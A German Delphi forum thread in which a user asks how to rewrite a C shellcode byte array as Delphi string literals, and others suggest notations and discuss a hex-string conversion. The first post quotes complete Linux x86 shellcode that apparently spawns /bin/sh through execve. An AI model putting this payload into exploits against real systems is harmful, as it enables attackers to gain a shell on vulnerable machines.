Delphi-PRAXiS

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Object-Pascal / Delphi-Language (https://www.delphipraxis.net/32-object-pascal-delphi-language/)
-   -   Delphi Opcodes in Delphi Darstellen (https://www.delphipraxis.net/92060-opcodes-delphi-darstellen.html)

nitschchedu 14. Mai 2007 07:51


Opcodes in Delphi Darstellen
 
Hallo leute,
weiss gerade nicht ob ich das hier aus C so richtig ins Delphi Dargestellt habe?
Code:
char shellcode[] =  
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"  
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"  
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"  
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
-->

Delphi-Quellcode:
shellcode: array of String = ($eb + $2a + $5e + $89 + $76 + $08 + $c6 + $46 + $07 + $00 + 
  $c7 + $46 + $0c + $00 + $00 + $00, ... usw);

Gruber_Hans_12345 14. Mai 2007 07:52

Re: Opcodes in Delphi Darstellen
 
würds mal so probieren
Delphi-Quellcode:
shellcode: String = #$eb + #$2a + #$5e + #$89 + #$76 + #$08 + #$c6 +  ... usw;

nitschchedu 14. Mai 2007 07:53

Re: Opcodes in Delphi Darstellen
 
Ok Danke ;-) Probiers gleich mal aus.

Muetze1 14. Mai 2007 18:43

Re: Opcodes in Delphi Darstellen
 
... Um es ein wenig kleiner zu machen, kannst du dir innerhalb einer Zeile das "+" sparen...

nitschchedu 19. Mai 2007 17:24

Re: Opcodes in Delphi Darstellen
 
Hätte da jetzt auch noch ne Idee ... also das ganze so Test = '23453ab4a4' und dann alles mit HexToString .... könnte gehen oder ?

Muetze1 20. Mai 2007 20:57

Re: Opcodes in Delphi Darstellen
 
nein, da du dann immer 2 Byte pro Opcode hast (als Strings) und nicht wie bei den anderen beiden Lösungen direkt jeweils 1 Byte (direkt der Opcode). Wenn du es vorher immer umwandelst (wie du es angesprochen hast), dann hast du mit diesem Zwischenschritt auch deine Opcodeliste, ja. Wenn du dir den Schritt der Umwandlung zur Laufzeit ersparen willst, dann nutze eine der anderen beiden Lösungen.

nitschchedu 21. Mai 2007 13:44

Re: Opcodes in Delphi Darstellen
 
He wie so den würd doch dann 1 Byte bsp nochmal "23" -> im String ist das dann mit HexToString nur noch 1 Char und ein 1 Char ist doch 1 Byte ! Wenn es nun mehrere zeichen sind "23232323" dann hätte der String dann nur noch 4 Char also für jedes Pärchen 1 Byte oder nicht ? In meinen Test ging das so jedenfalls.


Alle Zeitangaben in WEZ +1. Es ist jetzt 13:04 Uhr.

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz